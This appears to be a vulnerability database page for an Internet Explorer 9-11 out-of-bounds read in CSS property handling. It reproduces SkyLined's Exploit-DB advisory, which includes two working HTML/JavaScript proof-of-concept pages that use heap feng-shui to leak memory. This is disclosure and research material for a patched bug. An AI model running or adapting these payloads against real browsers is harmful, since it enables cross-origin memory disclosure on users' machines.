Related Weaknesses
| CWE-ID |
Weakness Name |
Source |
| CWE Other |
No informations. |
|
Metrics
| Metrics |
Score |
Severity |
CVSS Vector |
Source |
| V3.0 |
8.8 |
HIGH |
CVSS:3.0/AV:N/AC:L/PR:N/UI:R/S:U/C:H/I:H/A:H
Base: Exploitabilty MetricsThe Exploitability metrics reflect the characteristics of the thing that is vulnerable, which we refer to formally as the vulnerable component. Attack Vector This metric reflects the context by which vulnerability exploitation is possible. A vulnerability exploitable with network access means the vulnerable component is bound to the network stack and the attacker's path is through OSI layer 3 (the network layer). Such a vulnerability is often termed 'remotely exploitable' and can be thought of as an attack being exploitable one or more network hops away (e.g. across layer 3 boundaries from routers). Attack Complexity This metric describes the conditions beyond the attacker's control that must exist in order to exploit the vulnerability. Specialized access conditions or extenuating circumstances do not exist. An attacker can expect repeatable success against the vulnerable component. Privileges Required This metric describes the level of privileges an attacker must possess before successfully exploiting the vulnerability. The attacker is unauthorized prior to attack, and therefore does not require any access to settings or files to carry out an attack. User Interaction This metric captures the requirement for a user, other than the attacker, to participate in the successful compromise of the vulnerable component. Successful exploitation of this vulnerability requires a user to take some action before the vulnerability can be exploited. For example, a successful exploit may only be possible during the installation of an application by a system administrator. Base: Scope MetricsAn important property captured by CVSS v3.0 is the ability for a vulnerability in one software component to impact resources beyond its means, or privileges. Scope Formally, Scope refers to the collection of privileges defined by a computing authority (e.g. an application, an operating system, or a sandbox environment) when granting access to computing resources (e.g. files, CPU, memory, etc). These privileges are assigned based on some method of identification and authorization. In some cases, the authorization may be simple or loosely controlled based upon predefined rules or standards. For example, in the case of Ethernet traffic sent to a network switch, the switch accepts traffic that arrives on its ports and is an authority that controls the traffic flow to other switch ports. An exploited vulnerability can only affect resources managed by the same authority. In this case the vulnerable component and the impacted component are the same. Base: Impact MetricsThe Impact metrics refer to the properties of the impacted component. Confidentiality Impact This metric measures the impact to the confidentiality of the information resources managed by a software component due to a successfully exploited vulnerability. There is total loss of confidentiality, resulting in all resources within the impacted component being divulged to the attacker. Alternatively, access to only some restricted information is obtained, but the disclosed information presents a direct, serious impact. For example, an attacker steals the administrator's password, or private encryption keys of a web server. Integrity Impact This metric measures the impact to integrity of a successfully exploited vulnerability. Integrity refers to the trustworthiness and veracity of information. There is a total loss of integrity, or a complete loss of protection. For example, the attacker is able to modify any/all files protected by the impacted component. Alternatively, only some files can be modified, but malicious modification would present a direct, serious consequence to the impacted component. Availability Impact This metric measures the impact to the availability of the impacted component resulting from a successfully exploited vulnerability. There is total loss of availability, resulting in the attacker being able to fully deny access to resources in the impacted component; this loss is either sustained (while the attacker continues to deliver the attack) or persistent (the condition persists even after the attack has completed). Alternatively, the attacker has the ability to deny some availability, but the loss of availability presents a direct, serious consequence to the impacted component (e.g., the attacker cannot disrupt existing connections, but can prevent new connections; the attacker can repeatedly exploit a vulnerability that, in each instance of a successful attack, leaks a only small amount of memory, but after repeated exploitation causes a service to become completely unavailable). Temporal MetricsThe Temporal metrics measure the current state of exploit techniques or code availability, the existence of any patches or workarounds, or the confidence that one has in the description of a vulnerability. Environmental Metrics
|
[email protected] |
| V2 |
6.8 |
|
AV:N/AC:M/Au:N/C:P/I:P/A:P |
[email protected] |
EPSS
EPSS is a scoring model that predicts the likelihood of a vulnerability being exploited.
EPSS Score
The EPSS model produces a probability score between 0 and 1 (0 and 100%). The higher the score, the greater the probability that a vulnerability will be exploited.
EPSS Percentile
The percentile is used to rank CVE according to their EPSS score. For example, a CVE in the 95th percentile according to its EPSS score is more likely to be exploited than 95% of other CVE. Thus, the percentile is used to compare the EPSS score of a CVE with that of other CVE.
Exploit information
Exploit Database EDB-ID : 40748
Publication date : 2016-11-09 23h00 +00:00
Author : Skylined
EDB Verified : Yes
<!--
Source: http://blog.skylined.nl/20161109001.html
Synopsis
A specially crafted web-page can cause Microsoft Internet Explorer to assume a CSS value stored as a string can only be "true" or "false". To determine which of these two values it is, the code checks if the fifth character is an 'e' or a "\0". An attacker that is able to set it to a smaller string can cause the code to read data out-of-bounds and is able to determine if a WCHAR value stored behind that string is "\0" or not.
Known affected versions, attack vectors and mitigations
MSIE 9-11 (earlier versions were not tested)
An attacker would need to get a target user to open a specially crafted webpage. Disabling JavaScript should prevent an attacker from triggering the vulnerable code path.
repro.html
<!DOCTYPE html>
<meta http-equiv="X-UA-Compatible" content="IE=Edge">
<script>
// This PoC attempts to exploit a memory disclosure bug in Microsoft Internet
// Explorer 11. On x64 systems, this should cause an access violation when
// run with page-heap enabled, as the code attempts to read a byte
// immediately following a 4 byte memory block.
// See http://blog.skylined.nl/20161109001.html for details.
var o = document.documentElement;
CollectGarbage();
// Heap Feng-Shui plunger
o.setAttribute("a", "1");
o.setAttribute("b", "2");
o.setAttribute("c", "3");
o.setAttribute("d", "4");
o.setAttribute("e", "5");
o.setAttribute("f", "6");
// Allocate a string that contains 3 characters (6 bytes), for which an 8
// byte memory block is allocated:
o.setAttribute("g", "AB\u4141");
// Free the memory block.
o.removeAttribute("g");
// Reallocate the same memory block to store a 1 character string (2 bytes).
// The memory block will look like this:
// 78 00 00 00 41 41 00 00 | "x\0\u4141\0"
// ^- start --------- end -^
// Now have the code attempt to read the fifth character and access OOB data:
document.documentElement.style.setProperty("textdecorationblink", "x");
// This work by SkyLined is licensed under a Creative Commons
// Attribution-Non-Commercial 4.0 International License.
</script>
Description
Certain code that handles CSS properties in MSIE assumes that the property value is always a string set to either "true" or "false". To determine which of these two values it is, the code checks if the fifth character is '\0'. However, it is possible to set such values to arbitrary strings, including a smaller string. This causes the code to read beyond the end of the string and allows an attacker to determine if an WORD stored after the string is '\0'.
The vulnerable code is in MSHTML!PROPERTYDESC::HandleStyleComponentProperty. This code is heavily branched to handle various types of CSS properties. Luckily, the type being exploited is one of the first to be handled. The code appears to assume that the value is provided as a pointer to a BSTR which will always have a WCHAR at offset +8 that may be '\0' or not. If this WCHAR is not '\0', a CSS property is set to a certain value, otherwise it is set to an empty string. As long as this BSTR is always either be "true" or "false", this code works as expected. However, it is possible to provide an arbitrary value for this BSTR, which can be shorter than 4 WCHARs. This would causing the code to read a WCHAR outside of the memory used to store that BSTR.
In the repro, we used Heap Feng-Shui to put a BSTR containing 3 WCHARs in the OLEAUT32 cache. This causes MSIE to allocate 12 byte of memory to store the string: 4 bytes to store the DWORD length of the BSTR, 6 to store the characters, and 2 to store a "\0" terminator. This memory is then reused to store a 1 WCHAR string "x". When the code attempts to check if the fifth character in this his BSTR is '\0', it will attempt to read the two bytes at offset 14 (The characters are stored at offset 4, after the DWORD length, and the fifth character is at offset 10 from the first). This causes the code to read outside of the bounds of that BSTR and trigger an access violation. (On x86 systems, page heap will provide some padding at the end of the string, causing the code to read these padding bytes, so no AV happens).
Known properties of the type that leads to the vulnerable code path include textDecorationBlink, textDecorationLineThrough, textDecorationLineNone, textDecorationOverline, and textDecorationUnderline.
Exploit
The value of a CSS property is updated based on the value of the fifth WCHAR, and this CSS property can be read from Javascript to determine if this WCHAR was '\0' or not. This allows a limited form of information disclosure. During my testing, I used the textDecorationBlink property, which can be used to set the CSS text-decoration property to "blink" or an empty string.
Using Heap-Feng Shui, it may be possible to reuse memory allocated for other strings that have since been freed and determine if they had a '\0' WCHAR as their fifth character. This includes strings to should normally not be accessible to the website, such as those from a different origin. Also using Heap Feng-Shui, it may be possible to allocate some interesting object immediately following the string, in order to determine if a WORD at the start of that object is 0 or not.
The "exploit" provided below shows that it is possible to determine if the fifth WCHAR of the last freed BSTR was '\0' or not.
Time-line
Februari 2016: This vulnerability was found through fuzzing.
Februari 2016: This vulnerability was submitted to ZDI, iDefense and EIP.
March-July 2016: ZDI, iDefense and EIP all either reject the submission or fail to respond.
July 2016: This vulnerability was reported to Microsoft with a 60-day deadline to address the issue.
August 2016: Microsoft is granted an 11 day extension to the deadline to address it in September's Patch Tuesday.
September 2016: The vulnerability was address by Microsoft in MS16-104.
November 2016: Details of this issue are released.
-->
<!DOCTYPE html>
<meta http-equiv="X-UA-Compatible" content="IE=Edge">
<script>
// This PoC attempts to exploit a memory disclosure bug in Microsoft Internet
// Explorer 11. See http://blog.skylined.nl/20161109001.html for details.
var sSetPropertyName = "textdecorationblink", //textDecorationLineThrough, textDecorationLineNone, textDecorationOverline, textDecorationUnderline
sGetPropertyName = "text-decoration",
sPropertyValue = "blink";
function fbTest(sTest) {
var o = document.createElement("x");
// Cleanup, potentially fill OLEAUT32 BSTR cache
CollectGarbage();
// Empty the smallest BSTR bucket of the OLEAUT32 cache and defragement the small chunks heap.
o.setAttribute("a", "1");
o.setAttribute("b", "2");
o.setAttribute("c", "3");
o.setAttribute("d", "4");
o.setAttribute("e", "5");
o.setAttribute("f", "6");
// Add the <sTest> BSTR to the smallest bucket of the OLEAUT32 BSTR cache.
o.setAttribute("x", sTest);
o.removeAttribute("x");
// reused the <sTest> memory and overwrite the first two chars with 'x' and '\0', then read from offset +8
o.style.setProperty(sSetPropertyName, "x");
var bResult = o.style.getPropertyValue(sGetPropertyName) == sPropertyValue;
alert(JSON.stringify(sTest) + "=>" + bResult);
};
fbTest("12345"); // true
fbTest("1234\0"); // false
fbTest("1234"); // false
fbTest("123"); // (AV on x64 if page heap enabled).
// This work by SkyLined is licensed under a Creative Commons
// Attribution-Non-Commercial 4.0 International License.
</script>
Products Mentioned
Configuraton 0
Microsoft>>Internet_explorer >> Version 9
Microsoft>>Internet_explorer >> Version 10
Microsoft>>Internet_explorer >> Version 11
References
